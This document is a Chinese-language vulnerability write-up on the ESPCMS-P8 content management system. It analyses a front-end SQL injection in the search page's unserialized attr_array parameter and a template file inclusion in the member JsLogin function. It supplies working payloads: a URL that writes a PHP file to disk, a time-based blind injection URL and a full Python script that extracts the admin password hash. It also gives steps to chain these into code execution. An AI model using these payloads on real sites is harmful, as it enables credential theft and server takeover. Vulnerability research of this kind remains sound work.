ESPCMS-P8前台SQL注入与文件包含漏洞

前台SQL注入漏洞

简介

该SQL注入漏洞位于前台的搜索页面中,构造序列化的恶意参数通过SQL盲注或文件操作利用该漏洞.

原理

在espcms_web/Search.php中有如下一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ($_GET['attr_array']) {
$_REQUEST['attr_array'] = unserialize(stripslashes($_GET['attr_array']));
}
$attr_array = $_REQUEST['attr_array'] && is_array($_REQUEST['attr_array']) ? $_REQUEST['attr_array'] : array();
if (is_array($attr_array) && count($attr_array) > 0) {
foreach ($attr_array as $key => $value) {
if ($value) {
$db_att_where = " AND isclass=1 AND attrname='$key'";
$countnum = espcms_db_num($db_table_model_att, $db_att_where);
if ($countnum > 0) {
if (is_array($value) && count($value) > 0) {
$db_where_or = '';
foreach ($value as $i => $where_val) {
$db_where_or .= $i > 0 ? " OR FIND_IN_SET('$where_val',b.$key)" : " FIND_IN_SET('$where_val',b.$key)";
}
$db_where .= " AND ($db_where_or)";
} else {
$db_where .= " AND b.$key='$value'";
}
}
}
}
}

该处将GET方式接收到的attr_array参数反序列化,然后将attr_array中的每一个键值对取出,如果$value不为空的话会执行下列语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
if ($value) {
$db_att_where = " AND isclass=1 AND attrname='$key'"; //漏洞关键点
$countnum = espcms_db_num($db_table_model_att, $db_att_where); //漏洞关键点
if ($countnum > 0) {
if (is_array($value) && count($value) > 0) {
$db_where_or = '';
foreach ($value as $i => $where_val) {
$db_where_or .= $i > 0 ? " OR FIND_IN_SET('$where_val',b.$key)" : " FIND_IN_SET('$where_val',b.$key)";
}
$db_where .= " AND ($db_where_or)";
} else {
$db_where .= " AND b.$key='$value'";
}

$key的值会被拼接到$db_att_where字符串,然后$db_att_where被传入espcms_db_num()函数中,这个过程未做任何过滤,跟进espcms_db_num中:

1
2
3
4
5
6
7
8
9
10
function espcms_db_num($tableName, $db_where = null, $num_str = '*') {
global $espcms_link_db;
if (!$tableName) {
return false;
}
$sql_where = " WHERE 1=1" . $db_where;
$db_sql = "SELECT COUNT($num_str) AS num FROM $tableName $sql_where";
$db_read = $espcms_link_db->db_array_read($db_sql);
return $db_read['num'];
}

$db_att_where被拼接到$db_sql中,仍然未做过滤,继续跟进至db_array_read():

1
2
3
4
public function db_array_read($sql) {
$query = $this->db_query($sql);
return $this->db_array_list($query);
}

这里执行了数据库执行了$sql语句,由于从始至终都未做过滤,因此产生了SQL注入漏洞

poc

写入文件

http://127.0.0.1/install_pack/index.php?ac=Search&at=List&attr_array=a:1:{s:69:"1' union select “<?php phpinfo(); ?>” into dumpfile “c:\\1234.php”–+”;s:3:”aaa”;}&keyword=1

可以写入一个php文件

时间盲注

http://127.0.0.1/install_pack/index.php?ac=Search&at=List&attr_array=a:1:{s:64:"1' union select if(ascii(substr(user(),1,1))=114,sleep(10),1)–+”;s:3:”aaa”;}&keyword=1
成功延迟10秒,说明用户名第一位是’r’

py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/python
#coding = utf-8
import requests
import time

# target:
url = "http://127.0.0.1"

s = "/index.php?ac=Search&at=List&keyword=1&"
# payload:
payload = "attr_array=a:1:{s:104:\"1' union select if(ascii(substr((select admin_password from espcms_admin_member),%d,1))>%d,sleep(5),1)--+\";s:3:\"aaa\";}"
payload2 = "attr_array=a:1:{s:105:\"1' union select if(ascii(substr((select admin_password from espcms_admin_member),%d,1))>%d,sleep(5),1)--+\";s:3:\"aaa\";}"
payload4 = "attr_array=a:1:{s:106:\"1' union select if(ascii(substr((select admin_password from espcms_admin_member),%d,1))>%d,sleep(5),1)--+\";s:3:\"aaa\";}"

def Get_User(lenth):
name = ''
x = 0
i = 1
while i<lenth+1:
try:
l = 0
r = 126
while l <= r:
x = (l + r) // 2
if x > 99 and i < 10:
target = url + s + payload2 % (i, x)
elif x < 99 and i < 10:
target = url + s + payload % (i, x)
elif x > 99 and i >= 10:
target = url + s + payload4 % (i,x)
else:
target = url + s + payload2 % (i,x)
print(target)
start_time = time.time()
response = requests.get(target, timeout = 20)
end_time = time.time()
print(x)
if end_time - start_time < 5 :
r = x - 1
else:
l = x + 1
x = (l + r) // 2 + 1
name = name + chr(x)
except requests.exceptions.ConnectionError:
response.status_code = "Connection refused"
print('retry....')
time.sleep(2)
i = i - 1
i += 1
return name

def main():
print("start......\n")
name = Get_User(32)
print(name)

main()

文件包含漏洞

原理

在espcms_web/Member.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
	public static function in_JsLogin() {
global $espcms_web_templates, $espcms_command;
$espcms_web_templates->libfile = true;
$member_app_config = ESPCMS_Core::get_app_config('member', false);
if (!$member_app_config['isetup'] || !$member_app_config['isopen']) {
ESPCMS_Dialog::Message_Page('app_close');
}
$member_con = unserialize($member_app_config['appconfig']);
if (ESPCMS_MemberAuthority::authorityWebVerify(true)) {
$member_info = ESPCMS_MemberAuthority::getMemberInfo();
$filename = $_GET['info_file'] ? $_GET['info_file'] : 'member_info';
$espcms_web_templates->into('member', $member_info);
} else {
$filename = $_GET['login_file'] ? $_GET['login_file'] : 'member_login';
}
$espcms_web_templates->into('tokenkey', token('member_login'));
$espcms_web_templates->into('mlink', MemberLink::get_link());
$espcms_web_templates->into('seccodelink', PublicLink::get_verfication('seccodelink'));
$espcms_web_templates->into('verify_isopen', $member_con['MEMBER_LOGIN_VERIFY'] && $espcms_command['SAFETY_ISVERIFICATION_CODE'] ? 1 : 0);
$espcms_web_templates->into('member_con', $member_con);
$output = $espcms_web_templates->fetch('lib/' . $filename);
$outHTML = addslashes($output);
$textArray = preg_split('/[\r\n]/i', $outHTML);
if (is_array($textArray)) {
$outHTML = null;
foreach ($textArray as $key => $value) {
$outHTML .= 'document.write("' . $value . '");';
}
exit($outHTML);
} else {
exit('document.writeln("' . $outHTML . '")');
}
}

}

该段代码先读入$filename参数,然后:

1
$out = $espcms_web_templates->fetch('lib/' . $filename);

$filename被传入espcms_web_templates->fetch()中,跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function fetch($fetch_filename, $cache_fileid = null, $out_html = null, $ispack = false) {
......
require_once 'ESPCMS_Templates_Parser.php';
if ($this->libfile) {
$fetch_filename = $this->templates_themss_dirname . $fetch_filename . $this->templatesfileex;
$templates_filename = $this->templates_path_dir . $fetch_filename;
} else {
$templates_filename = $this->templates_path_dir . $fetch_filename;
}
$parsed_file = $this->html_compile_dir . md5($templates_filename) . '.php';
if ($this->iscaching) {
if ($this->tempcheckcache($fetch_filename, $cache_fileid)) {
if (!file_exists($parsed_file) || filemtime($parsed_file) < filemtime($templates_filename)) {
$this->_parser = new ESPCMS_Templates_Parser();
$this->_parser->compile($fetch_filename, $this->templates_path_dir, $this->templates_themss_dirname, $this->html_compile_dir, $this->left_delimiter, $this->right_delimiter);
}
$this->tempcachesave($fetch_filename, $cache_fileid);
$out = $this->template_out;
} else {
$out = $this->template_out;
}
} else {
if (!file_exists($parsed_file) || filemtime($parsed_file) < filemtime($templates_filename)) {
$this->_parser = new ESPCMS_Templates_Parser();
$this->_parser->compile($fetch_filename, $this->templates_path_dir, $this->templates_themss_dirname, $this->html_compile_dir, $this->left_delimiter, $this->right_delimiter);
}
if ($this->libfile) {
$out = $this->temprequire($parsed_file);
} else {
$out = file_get_contents($parsed_file);
}
}
......

其中$parsed_file是由传入的MD5($filename)加路径构成的php文件,跟进后发现如果$filename最近改动过的话会重新将其传入$parsed_file中,然后$parsed_file传入$this->temprequire()中,如下:

1
2
3
4
5
6
7
8
9
10
11
} else {
if (!file_exists($parsed_file) || filemtime($parsed_file) < filemtime($templates_filename)) {
$this->_parser = new ESPCMS_Templates_Parser();
$this->_parser->compile($fetch_filename, $this->templates_path_dir, $this->templates_themss_dirname, $this->html_compile_dir, $this->left_delimiter, $this->right_delimiter);
}
if ($this->libfile) {
$out = $this->temprequire($parsed_file);
} else {
$out = file_get_contents($parsed_file);
}
}

$this->temprequire()函数中会包含$parsed_file:

1
2
3
4
5
6
7
private function temprequire($filename) {
ob_start();
include $filename; //关键点
$content = ob_get_contents();
ob_end_clean();
return $content;
}

poc

结合第一个漏洞获取后台账户密码后登入后台,然后更改模板文件(随意更改一个),初始目录是/cn/lib/,可以使用../进行目录穿越,在特定情况下还会造成目录暴露,例如修改cn/index.html文件.
最后在前台访问:10.10.10.132/install_pack/index.php?ac=Member&at=JsLogin&login_file=../index
即执行恶意代码.